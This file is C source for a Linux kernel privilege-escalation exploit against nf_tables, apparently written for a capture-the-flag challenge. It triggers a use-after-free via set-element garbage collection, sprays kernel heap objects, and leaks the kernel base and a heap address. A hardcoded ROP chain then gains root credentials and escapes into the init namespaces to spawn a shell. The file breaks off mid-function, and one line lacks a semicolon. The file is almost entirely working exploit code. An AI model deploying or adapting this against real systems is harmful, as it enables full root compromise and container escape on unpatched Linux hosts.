#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <sched.h>
#include <err.h>
#include <errno.h>
#include <net/if.h>
#include <arpa/inet.h>

#include <sys/wait.h>
#include <sys/syscall.h>
#include <linux/rtnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter.h>

#include <libmnl/libmnl.h>

#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/set.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>

#include "netlink_utils.h"

#define TABLE_SPRAY     0x200
#define SET_SPRAY       0x10
#define BUF_SIZE        0x1000 * 0x100

#define KMALLOC_64_SIZE         64
#define KMALLOC_96_SIZE         96
#define KMALLOC_256_SIZE        256
#define NFT_RULE_HEADER_SIZE    25

#define FIND_TASK_BY_VPID                           0x1b3a60
#define SWITCH_TASK_NAMESPACES                      0x1bb4f0
#define COMMIT_CREDS                                0x1bd090
#define INIT_CRED                                   0x28768e0
#define INIT_NSPROXY                                0x28766a0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE  0x1201146
#define NFT_COUNTER_OPS                             0x1b2a4c0
#define RCU_READ_LOCK_NESTING_OFF                   0x474

#define PUSH_RBX_POP_RSP_RBP   0xf82bf9;    // 0xffffffff81f82bf9 : push rbx ; and byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; jmp 0xffffffff82404c80
#define POP_RDI_RET        0x278a27;    // 0xffffffff81278a27 : pop rdi ; jmp 0xffffffff82404c80
#define POP_RSI_RET        0x5889f8;    // 0xffffffff815889f8 : pop rsi ; jmp 0xffffffff82404c80
#define ADD_RAX_RSI_RET    0x037000;    // 0xffffffff81037000 : add rax, rsi ; jmp 0xffffffff82404c80
#define POP_RCX_RET        0x02789d;    // 0xffffffff8102789d : pop rcx ; jmp 0xffffffff82404c80
#define MOV_RAX_RCX_RET    0x7219fb;    // 0xffffffff817219fb : mov qword ptr [rax], rcx ; jmp 0xffffffff82404c80
#define MOV_RDI_RAX_RET    0x118ea2b;   // 0xffffffff8218ea2b : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; jmp 0xffffffff82404c80
#define POP_RSP_RET        0x008a04;    // 0xffffffff81008a04 : pop rsp ; jmp 0xffffffff82404c80

#define CHAIN_NAME_OFF      0x70

uint64_t counter_ops = 0;
uint64_t kbase = 0;
uint64_t kmalloc_96 = 0;

char* buf;
struct nlmsghdr * nlh;
struct mnl_nlmsg_batch * batch;
struct mnl_socket * nl;
uint32_t portid;
uint8_t family = NFPROTO_IPV4;
int seq = 0;
int handle = 0, handle_leak_kbase = 0, handle_leak_heap = 0, handle_rop = 0;

char * table1_name = "table1";
char * set_leak_name = "set_leak_name";
char * set_rop_name = "set_rop";
char * chain_base_name = "chain1";
char * chain_delay_name = "chain_delay_name";
// allocate chain->name to kmalloc-cg-16
char * chain_leak_name = "chain_leak_name";
// allocate chain->name to kmalloc-cg-64
char * chain_rop_name = "chain_rop_name_chain_rop_name_rop_name";

void win(){
    setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
    setns(open("/proc/1/ns/pid", O_RDONLY), 0);
    setns(open("/proc/1/ns/net", O_RDONLY), 0);

    char* shell[] = {
        "/bin/sh",
        "-c",
        "/bin/cat /flag && /bin/sh",
        NULL,
    };
    execve(shell[0], shell, NULL);

    exit(0);
}

void set_affinity(bool is_set){
    cpu_set_t my_set;
    int cpu_cores = sysconf(_SC_NPROCESSORS_ONLN);

    if (cpu_cores == 1) return;

    CPU_ZERO(&my_set);

    if(is_set)
        CPU_SET(0, &my_set);
    else{
        CPU_SET(1, &my_set);
    }

    if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
        perror("[-] sched_setaffinity()");
        exit(EXIT_FAILURE);
    }
}

/*
 *	Add a network interface.
 *	Equivalent to `ip link add ...`.
 */
int net_if(char *type, int n, int opt) {

	struct nlmsghdr *msg;
	struct nlattr *opts;
	struct ifinfomsg ifinfo = {};
	char name[0x100] = { 0 };
	int sk;

	strcpy(name, type);

	if (n >= 0)
		snprintf(name, sizeof(name), "%s-%d", type, n);

	// Initalize a netlink socket and allocate a nlmsghdr
	sk = nl_init_request(RTM_NEWLINK, &msg, NLM_F_REQUEST|NLM_F_CREATE);
	if (!sk) {
		perror("nl_init_request()");
		return -1;
	}

    ifinfo.ifi_family = AF_UNSPEC;
    ifinfo.ifi_type = PF_NETROM;
    ifinfo.ifi_index = 0;
    ifinfo.ifi_flags = opt;
    ifinfo.ifi_change = 1;

    nlmsg_append(msg, &ifinfo, sizeof(ifinfo), NLMSG_ALIGNTO);

    nla_put_string(msg, IFLA_IFNAME, name);
    opts = nla_nest_start(msg, IFLA_LINKINFO);
    nla_put_string(msg, IFLA_INFO_KIND, type);
    nla_nest_end(msg, opts);

	// Send the netlink message and deallocate resources
	return nl_complete_request(sk, msg);
}

void write_file(const char *filename, char *text) {
    int fd = open(filename, O_RDWR | O_CREAT, 0600);

    write(fd, text, strlen(text));
    close(fd);
}

void new_ns(void) {
    uid_t uid = getuid();
    gid_t gid = getgid();
    char buffer[0x100];

    unshare(CLONE_NEWUSER | CLONE_NEWNS);

    unshare(CLONE_NEWNET);

    write_file("/proc/self/setgroups", "deny");

    snprintf(buffer, sizeof(buffer), "0 %d 1", uid);
    write_file("/proc/self/uid_map", buffer);
    snprintf(buffer, sizeof(buffer), "0 %d 1", gid);
    write_file("/proc/self/gid_map", buffer);

    net_if("lo", -1, IFF_UP);
}

uint64_t _user_rip = (uint64_t) win;
uint64_t _user_cs = 0;
uint64_t _user_rflags = 0;
uint64_t _user_sp = 0;
uint64_t _user_ss = 0;

void save_state(void) {
    __asm__(".intel_syntax noprefix;"
    "mov _user_cs, cs;"
    "mov _user_ss, ss;"
    "mov _user_sp, rsp;"
    "pushf;"
    "pop _user_rflags;"
    ".att_syntax");
    return;
}

#define TRIG_HOST "127.0.0.1"
#define TRIG_PORT 1337

/* Connect to a server in a specific port to trigger netfilter hooks */
void trig_net_sock(void) {
    int sockfd = 00;
    struct sockaddr_in servaddr, cli;

    bzero(&servaddr, sizeof(servaddr));
    bzero(&cli, sizeof(cli));

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if(sockfd == -1)
        printf("[-] Socket creation failed");

    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = inet_addr(TRIG_HOST);
    servaddr.sin_port = htons(TRIG_PORT);

    if(connect(sockfd, (struct sockaddr*) &servaddr, sizeof(servaddr)) != 0)
        printf("[-] Connection with server failed");

    write(sockfd, "AAAA", 4);

    close(sockfd);

    return;
}

/* Set up a server to receive hook-triggering output packets */
void setup_trig_server(void) {
    int sfd = 0, sock = 0;
    struct sockaddr_in address;
    int opt = 1;
    int addrlen = sizeof(address);
    char buffer[1024] = { 0 };

    if((sfd = socket(AF_INET, SOCK_STREAM, 0)) == 0)
        printf("[-] Error at socket()");

    if(setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt)))
        printf("[-] Error at setsockopt()");

    address.sin_family = AF_INET;
    address.sin_addr.s_addr = INADDR_ANY;
    address.sin_port = htons(TRIG_PORT);

    if(bind(sfd, (struct sockaddr*)&address,  sizeof(address)) < 0)
        printf("[-] Error at bind()");

    if(listen(sfd, 3) < 0)
        printf("[-] Error at listen()");

    if((sock = accept(sfd, (struct sockaddr*)&address, (socklen_t*)&addrlen)) < 0)
        printf("[-] Error at accept()");

    read(sock, buffer, 4);

    close(sock);
    close(sfd);

    return;
}

void trig_sock(){
    int sfd = 0;

    /* Set up server at TRIG_PORT in a new process */
    sfd = fork();
    if(sfd == 0) {
        setup_trig_server();
        exit(0);
    }

    /* Trigger the network hook */
    trig_net_sock();
}

void fake_ops_96(uint64_t* data){
    int i = 0;

    // expr->ops->eval()
    data[i++] = kbase + PUSH_RBX_POP_RSP_RBP;
}

void rop_chain_256(uint64_t* data){
    int i = 0;

    // nft_rule_blob.size > 0
    data[i++] = 0x100;
    // nft_rule_blob.dlen > 0
    data[i++] = 0x100;

    // fake ops addr
    data[i++] = kmalloc_96;

    // current = find_task_by_vpid(getpid())
    data[i++] = kbase + POP_RDI_RET
    data[i++] = getpid();
    data[i++] = kbase + FIND_TASK_BY_VPID;

    // current += offsetof(struct task_struct, rcu_read_lock_nesting)
    data[i++] = kbase + POP_RSI_RET;
    data[i++] = RCU_READ_LOCK_NESTING_OFF;
    data[i++] = kbase + ADD_RAX_RSI_RET;

    // current->rcu_read_lock_nesting = 0 (Bypass rcu protected section)
    data[i++] = kbase + POP_RCX_RET;
    data[i++] = 0;
    data[i++] = kbase + MOV_RAX_RCX_RET;

    // commit_creds(&init_cred)
    data[i++] = kbase + POP_RDI_RET;
    data[i++] = kbase + INIT_CRED;
    data[i++] = kbase + COMMIT_CREDS;

    // find_task_by_vpid(1)
    data[i++] = kbase + POP_RDI_RET;
    data[i++] = 1;
    data[i++] = kbase + FIND_TASK_BY_VPID;

    // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
    data[i++] = kbase + MOV_RDI_RAX_RET;
    data[i++] = kbase + POP_RSI_RET;
    data[i++] = kbase + INIT_NSPROXY;
    data[i++] = kbase + SWITCH_TASK_NAMESPACES;

    data[i++] = kbase + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE;
    data[i++] = 0;
    data[i++] = 0;
    data[i++] = _user_rip;
    data[i++] = _user_cs;
    data[i++] = _user_rflags;
    data[i++] = _user_sp;
    data[i++] = _user_ss;
}

void spray_counter(){
    char *set_name;

    for(int i = 0; i < SET_SPRAY; i++){
        asprintf(&set_name, "s%02hx", i);

        struct nftnl_set * set_leak =  nftnl_set_alloc();

        nftnl_set_set_str(set_leak, NFTNL_SET_TABLE, table1_name);
        nftnl_set_set_str(set_leak, NFTNL_SET_NAME, set_name);
        nftnl_set_set_u32(set_leak, NFTNL_SET_KEY_LEN, 1);
        nftnl_set_set_u32(set_leak, NFTNL_SET_ID, i);

        struct nftnl_expr * expr_counter = nftnl_expr_alloc("counter");
        nftnl_set_add_expr(set_leak, expr_counter);

        batch = mnl_nlmsg_batch_start(buf, BUF_SIZE);

        nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++);
        nftnl_set_nlmsg_build_payload(nlh, set_leak);
        mnl_nlmsg_batch_next(batch);

        handle++;

        nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
            err(1, "mnl_socket_send");
        }
    }
}

void setup_table_chain(){
    struct nftnl_table * table = nftnl_table_alloc();
    nftnl_table_set_str(table, NFTNL_TABLE_NAME, table1_name);
    nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);

    struct nftnl_chain * chain1 = nftnl_chain_alloc();
    nftnl_chain_set_str(chain1, NFTNL_CHAIN_TABLE, table1_name);
    nftnl_chain_set_str(chain1, NFTNL_CHAIN_NAME, chain_base_name);
    nftnl_chain_set_u32(chain1, NFTNL_CHAIN_FLAGS, 0);
    nftnl_chain_set_str(chain1, NFTNL_CHAIN_TYPE, "filter");
    nftnl_chain_set_u32(chain1, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_IN);
    nftnl_chain_set_u32(chain1, NFTNL_CHAIN_PRIO, 10);
    nftnl_chain_set_u32(chain1, NFTNL_CHAIN_POLICY, NF_ACCEPT);

    struct nftnl_chain * chain_delay = nftnl_chain_alloc();
    nftnl_chain_set_str(chain_delay, NFTNL_CHAIN_TABLE, table1_name);
    nftnl_chain_set_str(chain_delay, NFTNL_CHAIN_NAME, chain_delay_name);
    nftnl_chain_set_u32(chain_delay, NFTNL_CHAIN_FLAGS, 0);

    struct nftnl_chain * chain_leak = nftnl_chain_alloc();
    nftnl_chain_set_str(chain_leak, NFTNL_CHAIN_TABLE, table1_name);
    nftnl_chain_set_str(chain_leak, NFTNL_CHAIN_NAME, chain_leak_name);
    nftnl_chain_set_u32(chain_leak, NFTNL_CHAIN_FLAGS, 0);

    struct nftnl_chain * chain_rop = nftnl_chain_alloc();
    nftnl_chain_set_str(chain_rop, NFTNL_CHAIN_TABLE, table1_name);
    nftnl_chain_set_str(chain_rop, NFTNL_CHAIN_NAME, chain_rop_name);
    nftnl_chain_set_u32(chain_rop, NFTNL_CHAIN_FLAGS, 0);

    struct nftnl_rule * rule_dangling_3 = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_dangling_3, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_dangling_3, NFTNL_RULE_CHAIN, chain_base_name);

    struct nftnl_expr * expr_immediate = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO);
    nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain_leak_name);
    nftnl_rule_add_expr(rule_dangling_3, expr_immediate);

    struct nftnl_rule * rule_dangling_4 = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_dangling_4, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_dangling_4, NFTNL_RULE_CHAIN, chain_base_name);

    expr_immediate = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
    nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO);
    nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain_rop_name);
    nftnl_rule_add_expr(rule_dangling_4, expr_immediate);

    batch = mnl_nlmsg_batch_start(buf, BUF_SIZE);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE, seq++);
    nftnl_table_nlmsg_build_payload(nlh, table);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    batch = mnl_nlmsg_batch_start(buf, BUF_SIZE);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, NLM_F_CREATE, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, chain_rop);
    mnl_nlmsg_batch_next(batch);

    handle++;

    nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, NLM_F_CREATE, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, chain_leak);
    mnl_nlmsg_batch_next(batch);

    handle++;

    nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, NLM_F_CREATE, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, chain_delay);
    mnl_nlmsg_batch_next(batch);

    handle++;

    nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, NLM_F_CREATE, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, chain1);
    mnl_nlmsg_batch_next(batch);

    handle++;

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_dangling_3);
    mnl_nlmsg_batch_next(batch);

    handle++;
    handle_leak_kbase = handle;

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_dangling_4);
    mnl_nlmsg_batch_next(batch);

    handle++;
    handle_leak_heap = handle;

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }
}

void del_chain(char* chain_name){
    struct nftnl_chain * chain = nftnl_chain_alloc();
    nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, table1_name);
    nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);
    nftnl_chain_set_u32(chain, NFTNL_CHAIN_FLAGS, 0);

    batch = mnl_nlmsg_batch_start(buf, BUF_SIZE);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELCHAIN, family, 0, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, chain);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }
}

void del_rule(unsigned long handle){
    struct nftnl_rule * rule_del = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_del, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_del, NFTNL_RULE_CHAIN, chain_base_name);
    nftnl_rule_set_u64(rule_del, NFTNL_RULE_HANDLE, handle);

    batch = mnl_nlmsg_batch_start(buf, BUF_SIZE);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_del);
    mnl_nlmsg_batch_next(batch);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }
}

void spray_table(void* data, uint64_t size){
    struct nftnl_table * tables[TABLE_SPRAY] = {0,};

    for(int i = 0; i < TABLE_SPRAY; i++){
        char *table_name;
        asprintf(&table_name, "%02hx_%ld", i, size);

        struct nftnl_table * table = nftnl_table_alloc();
        nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
        nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);
        nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, data, size);

        tables[i] = table;
    }

    batch = mnl_nlmsg_batch_start(buf, BUF_SIZE);
    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    for(int i = 0; i < TABLE_SPRAY; i++){
        nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++);
        nftnl_table_nlmsg_build_payload(nlh, tables[i]);
        mnl_nlmsg_batch_next(batch);
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }
}

void trigger(char * trig_set_name, char * trig_chain_name){
    uint8_t desc_concat[2];
    memset(desc_concat, 1, 2);

    struct nftnl_set * set_leak =  nftnl_set_alloc();

    nftnl_set_set_str(set_leak, NFTNL_SET_TABLE, table1_name);
    nftnl_set_set_str(set_leak, NFTNL_SET_NAME, trig_set_name);
    nftnl_set_set_u32(set_leak, NFTNL_SET_FLAGS,  NFT_SET_ANONYMOUS | NFT_SET_CONCAT | NFT_SET_TIMEOUT | NFT_SET_MAP);
    nftnl_set_set_u32(set_leak, NFTNL_SET_KEY_LEN, 8);
    nftnl_set_set_u32(set_leak, NFTNL_SET_ID, 1337);
    nftnl_set_set_u32(set_leak, NFTNL_SET_GC_INTERVAL, 1);
    nftnl_set_set_u32(set_leak, NFTNL_SET_DESC_SIZE, 1);
    nftnl_set_set_u32(set_leak, NFTNL_SET_DATA_TYPE, NFT_DATA_VERDICT);
    nftnl_set_set_data(set_leak, NFTNL_SET_DESC_CONCAT, desc_concat, 2);

    struct nftnl_set * set_leak_elem =  nftnl_set_alloc();

    nftnl_set_set_str(set_leak_elem, NFTNL_SET_TABLE, table1_name);
    nftnl_set_set_str(set_leak_elem, NFTNL_SET_NAME, trig_set_name);

    struct nftnl_set_elem * elem1 = nftnl_set_elem_alloc();

    nftnl_set_elem_set_u32(elem1, NFTNL_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL);
    nftnl_set_elem_set_str(elem1, NFTNL_SET_ELEM_CHAIN, trig_chain_name);
    nftnl_set_elem_set_u32(elem1, NFTNL_SET_ELEM_VERDICT, NFT_GOTO);
    nftnl_set_elem_set_u64(elem1, NFTNL_SET_ELEM_TIMEOUT, 1);

    nftnl_set_elem_add(set_leak_elem, elem1);

    struct nftnl_rule * rule_lookup_set_leak = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_lookup_set_leak, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_lookup_set_leak, NFTNL_RULE_CHAIN, chain_base_name);
    nftnl_rule_set_u32(rule_lookup_set_leak, NFTNL_RULE_ID, 1);

    struct nftnl_expr * expr_lookup = nftnl_expr_alloc("lookup");
    nftnl_expr_set_u32(expr_lookup, NFTNL_EXPR_LOOKUP_SREG, NFT_REG32_00);
    nftnl_expr_set_u32(expr_lookup, NFTNL_EXPR_LOOKUP_DREG, NFT_REG32_01);
    nftnl_expr_set_str(expr_lookup, NFTNL_EXPR_LOOKUP_SET, trig_set_name);
    nftnl_rule_add_expr(rule_lookup_set_leak, expr_lookup);

    struct nftnl_rule * rule_dummy_rop = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_dummy_rop, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_dummy_rop, NFTNL_RULE_CHAIN, chain_rop_name);

    struct nftnl_rule * rule_delay = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_delay, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_delay, NFTNL_RULE_CHAIN, chain_delay_name);

    batch = mnl_nlmsg_batch_start(buf, BUF_SIZE);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++);
    nftnl_set_nlmsg_build_payload(nlh, set_leak);
    mnl_nlmsg_batch_next(batch);

    handle++;

    nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++);
    nftnl_set_elems_nlmsg_build_payload(nlh, set_leak_elem);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_lookup_set_leak);
    mnl_nlmsg_batch_next(batch);

    handle++;

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_lookup_set_leak);
    mnl_nlmsg_batch_next(batch);

    // create delay to trigger set element GC
    for(int i = 0 ; i < 0x800; i++){
        nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
        nftnl_rule_nlmsg_build_payload(nlh, rule_delay);
        mnl_nlmsg_batch_next(batch);

        handle++;
    }

    // allocate struct nft_rule_blob to kmalloc-cg-256. Since trigger() is called twice before ROP, chain_rop contains 20 rules.
    for(int i = 0 ; i < 0xa; i++){
        nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
        nftnl_rule_nlmsg_build_payload(nlh, rule_dummy_rop);
        mnl_nlmsg_batch_next(batch);

        handle++;
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    // wait for nft_commit_release() to complete
    usleep(10*1000);

    del_chain(trig_chain_name);

    // wait for nft_commit_release() to complete
    usleep(300*1000);
}

int leak_kaslr(){
    int ret;

    trigger(set_leak_name, chain_leak_name);

    spray_counter();

    if(kbase != 0) return 0;

    char read_data[0x200] = {0,};

    struct nftnl_rule *rule_get = nftnl_rule_alloc();
    nftnl_rule_set_str(rule_get, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_get, NFTNL_RULE_CHAIN, chain_base_name);
    nftnl_rule_set_u64(rule_get, NFTNL_RULE_HANDLE, handle_leak_kbase);

    nlh = nftnl_rule_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, family, NLM_F_ACK, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_get);
    nftnl_rule_free(rule_get);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    ret = mnl_socket_recvfrom(nl, read_data, 0x100);

    if (ret > 0) {
        memcpy(&counter_ops, &read_data[CHAIN_NAME_OFF], sizeof(uint64_t));
        ret = mnl_socket_recvfrom(nl, read_data, 0x100);
    }

    if(counter_ops >> 32 != 0xffffffff){
        return -1;
    }

    kbase = counter_ops - NFT_COUNTER_OPS;

    printf("[*] kbase: %lx\n", kbase);

    return 0;
}

int leak_heap_addr(){
    int ret;
    char rule_data[0x400] = {0,};

    struct nftnl_rule * rule_96 = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_96, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_96, NFTNL_RULE_CHAIN, chain_base_name);
    nftnl_rule_set_data(rule_96, NFTNL_RULE_USERDATA, rule_data, KMALLOC_96_SIZE-NFT_RULE_HEADER_SIZE);

    struct nftnl_rule * rule_64 = nftnl_rule_alloc();

    nftnl_rule_set_str(rule_64, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_64, NFTNL_RULE_CHAIN, chain_base_name);
    nftnl_rule_set_data(rule_64, NFTNL_RULE_USERDATA, rule_data, KMALLOC_64_SIZE-NFT_RULE_HEADER_SIZE);

    batch = mnl_nlmsg_batch_start(buf, BUF_SIZE);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_96);
    mnl_nlmsg_batch_next(batch);

    handle++;
    handle_rop = handle;

    for(int i = 0; i < 0x20; i++){
        nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
        nftnl_rule_nlmsg_build_payload(nlh, rule_64);
        mnl_nlmsg_batch_next(batch);

        handle++;
    }

    for(int i = 0; i < 0x20; i++){
        nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++);
        nftnl_rule_nlmsg_build_payload(nlh, rule_96);
        mnl_nlmsg_batch_next(batch);

        handle++;
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    char read_data[0x1000] = {0,};

    struct nftnl_rule *rule_get = nftnl_rule_alloc();
    nftnl_rule_set_str(rule_get, NFTNL_RULE_TABLE, table1_name);
    nftnl_rule_set_str(rule_get, NFTNL_RULE_CHAIN, chain_base_name);
    nftnl_rule_set_u64(rule_get, NFTNL_RULE_HANDLE, handle_leak_heap);

    nlh = nftnl_rule_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, family, NLM_F_ACK, seq++);
    nftnl_rule_nlmsg_build_payload(nlh, rule_get);
    nftnl_rule_free(rule_get);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    ret = mnl_socket_recvfrom(nl, read_data, 0x100);

    if (ret > 0) {
        memcpy(&kmalloc_96, &read_data[CHAIN_NAME_OFF], sizeof(uint64_t));
        ret = mnl_socket_recvfrom(nl, read_data, 0x100);
    }

